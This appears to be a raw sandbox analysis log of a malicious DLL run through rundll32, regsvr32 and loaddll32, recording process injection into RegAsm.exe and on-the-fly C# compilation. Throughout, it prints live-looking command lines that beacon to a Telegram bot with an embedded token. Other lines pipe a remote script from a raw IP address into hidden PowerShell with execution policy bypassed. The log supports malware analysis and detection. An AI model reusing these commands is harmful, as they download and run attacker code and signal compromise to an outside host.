Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A91008	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 445000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 113A008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 445000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A8F008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 445000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 453000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 8B2008

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF462.tmp" "c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF463.tmp" "c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF461.tmp" "c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES374.tmp" "c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP"

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c cmd.exe /c curl -s -h "x-special-header: qinx8f3tujdhxgoefpjjbaipyase1mobj2yryo2rjngnvdhjvevn8r2ku8opcbonhmpzfb2gyqpilhjq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -noprofile -executionpolicy bypass -windowstyle hidden -command -	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F952778 cpuid

0_2_6F952778

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
